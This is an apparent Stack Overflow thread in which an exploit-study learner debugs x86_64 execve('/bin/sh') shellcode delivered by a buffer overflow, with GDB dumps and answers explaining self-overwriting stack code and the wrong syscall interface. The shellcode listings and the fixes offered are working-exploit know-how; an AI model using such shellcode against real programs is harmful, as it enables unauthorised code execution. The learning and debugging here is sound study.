Why does the program catch SIGSEGV on push instructions?

Question

A simple x86_64 shellcode is written:

BITS 64
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80

Through a buffer overflow, the shellcode was sent to the processor. Everything goes well until the 3rd instruction from the end (push rbx) is executed. Then the program catches SIGSEGV and never reaches the cherished interrupt - int 0x80. I thought maybe the stack was overflowing, I inserted several pop instructions at the beginning of the shellcode. As a result, SIGSEGV was changed to SIGILL on the same instruction - push rbx. There are no ideas at all. GDB:

=> 0x7fffffffea72:  mov    rdx,rsp
   0x7fffffffea75:  push   rbx
   0x7fffffffea76:  mov    rcx,rsp
   0x7fffffffea79:  mov    al,0xdd
   0x7fffffffea7b:  int    0x80
   0x7fffffffea7d:  (bad)  
   0x7fffffffea7e:  (bad)  
   0x7fffffffea7f:  inc    DWORD PTR [rax]
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea72 in ?? ()
gdb$ n
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEA88  RBP: 0xFFFFFFFFFFFFFFFF  RSP: 0x00007FFFFFFFEA80  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEA80  RCX: 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA75
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11: 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B                
-----------------------------------------------------------------------------------------------------------------------[code]
=> 0x7fffffffea75:  push   rbx
   0x7fffffffea76:  mov    rcx,rsp
   0x7fffffffea79:  mov    al,0xdd
   0x7fffffffea7b:  int    0x80
   0x7fffffffea7d:  (bad)  
   0x7fffffffea7e:  (bad)  
   0x7fffffffea7f:  inc    DWORD PTR [rax]
   0x7fffffffea81:  add    BYTE PTR [rax],al
-----------------------------------------------------------------------------------------------------------------------------
0x00007fffffffea75 in ?? ()
gdb$ n

Program received signal SIGSEGV, Segmentation fault.
-----------------------------------------------------------------------------------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEA88  RBP: 0xFFFFFFFFFFFFFFFF  RSP: 0x00007FFFFFFFEA78  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEA80  RCX: 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA76
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11: 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B

info proc mappings:

gdb$ info proc mappings
process 3025
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x555555554000     0x555555555000     0x1000        0x0 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555555000     0x555555556000     0x1000     0x1000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555556000     0x555555557000     0x1000     0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555557000     0x555555558000     0x1000     0x2000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x555555558000     0x555555559000     0x1000     0x3000 /home/yagur/Hacking.exploits.study/exploits/buffer_overflow.bin
      0x7ffff7dbb000     0x7ffff7dbd000     0x2000        0x0 
      0x7ffff7dbd000     0x7ffff7de3000    0x26000        0x0 /usr/lib/libc-2.32.so
      0x7ffff7de3000     0x7ffff7f30000   0x14d000    0x26000 /usr/lib/libc-2.32.so
      0x7ffff7f30000     0x7ffff7f7c000    0x4c000   0x173000 /usr/lib/libc-2.32.so
      0x7ffff7f7c000     0x7ffff7f7f000     0x3000   0x1be000 /usr/lib/libc-2.32.so
      0x7ffff7f7f000     0x7ffff7f82000     0x3000   0x1c1000 /usr/lib/libc-2.32.so
      0x7ffff7f82000     0x7ffff7f88000     0x6000        0x0 
      0x7ffff7fca000     0x7ffff7fce000     0x4000        0x0 [vvar]
      0x7ffff7fce000     0x7ffff7fd0000     0x2000        0x0 [vdso]
      0x7ffff7fd0000     0x7ffff7fd2000     0x2000        0x0 /usr/lib/ld-2.32.so
      0x7ffff7fd2000     0x7ffff7ff3000    0x21000     0x2000 /usr/lib/ld-2.32.so
      0x7ffff7ff3000     0x7ffff7ffc000     0x9000    0x23000 /usr/lib/ld-2.32.so
      0x7ffff7ffc000     0x7ffff7ffd000     0x1000    0x2b000 /usr/lib/ld-2.32.so
      0x7ffff7ffd000     0x7ffff7fff000     0x2000    0x2c000 /usr/lib/ld-2.32.so
      0x7ffffffde000     0x7ffffffff000    0x21000        0x0 [stack]
  0xffffffffff600000 0xffffffffff601000     0x1000        0x0 [vsyscall]
gdb$

New question: Changed the shellcode to the following:

BITS 64
pop rax
pop rax
pop rax
pop rax
xor rax, rax
push rax
push 0x68732f6e
push 0x69622f2f
mov rbx, rsp
push rax
mov rdx, rsp
push rbx
mov rcx, rsp
mov al, 221
int 0x80

By doing this, I prevent my shellcode from being overwritten. As a result:

gdb$ ni
--------------------------------------------------------------------------
---------------------------------------------[regs]
  RAX: 0x0000000000000000  RBX: 0x00007FFFFFFFEAA8  RBP: 0xFFFFFFFFFFFFFFFF  RSP:
 0x00007FFFFFFFEAA0  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEAA0  RCX:
 0x60FFFFFFFFFFFFFF  RIP: 0x00007FFFFFFFEA79
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11:
 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
                
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea79:  push   rbx
   0x7fffffffea7a:  mov    rcx,rsp
   0x7fffffffea7d:  mov    al,0xdd
   0x7fffffffea7f:  int    0x80
   0x7fffffffea81:  (bad)  
   0x7fffffffea82:  (bad)  
   0x7fffffffea83:  (bad)  
   0x7fffffffea84:  (bad)  
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea79 in ?? ()
gdb$ ni

Program received signal SIGILL, Illegal instruction.
--------------------------------------------------------------------------
---------------------------------------------[regs]
  RAX: 0xFFFFFFFFFFFFFFF7  RBX: 0x00007FFFFFFFEAA8  RBP: 0xFFFFFFFFFFFFFFFF  RSP:
 0x00007FFFFFFFEA98  o d I t s Z a P c 
  RDI: 0x00007FFFFFFFEA60  RSI: 0x0000555555556021  RDX: 0x00007FFFFFFFEAA0  RCX:
 0x00007FFFFFFFEA98  RIP: 0x00007FFFFFFFEA81
  R8 : 0x0000000000000000  R9 : 0x00007FFFF7FE14C0  R10: 0xFFFFFFFFFFFFF8F5  R11:
 0x00007FFFF7E54B60  R12: 0x0000555555555060
  R13: 0x0000000000000000  R14: 0x0000000000000000  R15: 0x0000000000000000
  CS: 0033  DS: 0000  ES: 0000  FS: 0000  GS: 0000  SS: 002B
                
--------------------------------------------------------------------------
---------------------------------------------[code]
=> 0x7fffffffea81:  (bad)  
   0x7fffffffea82:  (bad)  
   0x7fffffffea83:  (bad)  
   0x7fffffffea84:  (bad)  
   0x7fffffffea85:  (bad)  
   0x7fffffffea86:  (bad)  
   0x7fffffffea87:  (bad)  
   0x7fffffffea88:  (bad)  
--------------------------------------------------------------------------------
---------------------------------------------
0x00007fffffffea81 in ?? ()
gdb$

Can you include the output of `vmmap` if you're using gef or `info proc mappings` if you're not? — Aplet123, Nov 30 '20 at 15:49
Your shellcode is on the stack and likely overwriting itself with the pushes. — Jester, Nov 30 '20 at 16:02
Jester, how is it possible? After all, the stack grows from addresses up to the smallest addresses. push instruction should not overwrite shellcode — Станислав Тимошко, Nov 30 '20 at 16:05
It looks like `ni` is still advancing by more than one instruction, possibly it's mis-detecting whether the instruction is a `call`. Try using `si` instead. The instruction pointer after the fault is showing that you are past the `int 0x80` and executing the garbage on the other side, which is illegal instructions. — Nate Eldredge, Nov 30 '20 at 20:30
With `int 0x80`, system call 221 is `fcntl64`, see https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md. You want the 64-bit `syscall` instead of `int 0x80`, for which call 221 is indeed `execve` as you were presumably hoping, and that will also avoid a lot of other problems with 32-bit pointers. You can also see that RAX has the negative error code `-9`; error code 9 is EBADF, which makes sense as `fcntl64` is expecting a valid file descriptor. — Nate Eldredge, Nov 30 '20 at 20:33
Another problem: in 64-bit mode, `push 0x68732f6e` is a 64-bit push, with the immediate operand sign-extended to 64 bits. So your two instructions, instead of leaving `2f 2f 62 69 6e 24 73 68` on the stack, will leave `2f 2f 62 69 00 00 00 00 6e 24 73 68 00 00 00 00` which will not serve your purpose. Unfortunately I don't believe you can encode an actual 32-bit immediate push in 64-bit mode, nor a full 64-bit immediate, so you'll need some other way to get your data onto the stack. — Nate Eldredge, Nov 30 '20 at 20:58

Nate Eldredge · Accepted Answer · 2020-11-30T20:34:15.337

Two issues.

First, you're using the n GDB command, which is supposed to step to the next source line, which may be many instructions away. (And when you're executing code that's not part of the binary, line numbers don't make sense anyway and n will not work reliably.) You want to be using ni instead, or better yet si which will always execute exactly one instruction without trying to step over subroutine calls and the like.

Indeed, note the value of RIP in the register dump after the segfault. It's not the address of your push rbx, so that's not the instruction that faulted; rather, it's the following instruction, which you had meant to be mov rcx, rsp.

How can a simple register move cause a segfault? Because it's not a register move anymore - you just overwrote it. Compare the values of RSP and RIP. You're executing code from the stack, and your push rbx stored to address 0x00007FFFFFFFEA78, while the mov rcx, rsp is a three-byte instruction starting at 0x7fffffffea76. So you just overwrote its third byte. If you do another disassemble or x/i $rip at this point, you'll see the instruction you ended up executing instead - I bet it accesses memory.

Indeed, mov rcx, rsp is encoded as 48 89 e1. The low byte of rbx is 0x88, and overwriting the third byte with 88 produces 48 89 88 xx xx xx xx which is mov [rax+disp], rcx.

Thank you. I have a new problem. I have changed the shellcode and i have a SIGILL signal. The new information in my question. — Станислав Тимошко, Nov 30 '20 at 19:20
@СтаниславТимошко: probably still from overwriting code on the stack. `add rsp, -128` or something to move RSP down into fresh space if your exploit leaves RSP your code below the RSP value on entry. Also note [What happens if you use the 32-bit int 0x80 Linux ABI in 64-bit code?](https://stackoverflow.com/q/46087730) - you can't use `int 0x80` with 64-bit pointers, and the stack pointer is always outside the low 32 bits. — Peter Cordes, Dec 01 '20 at 01:46

Why does the program catch SIGSEGV on push instructions?

1 Answers1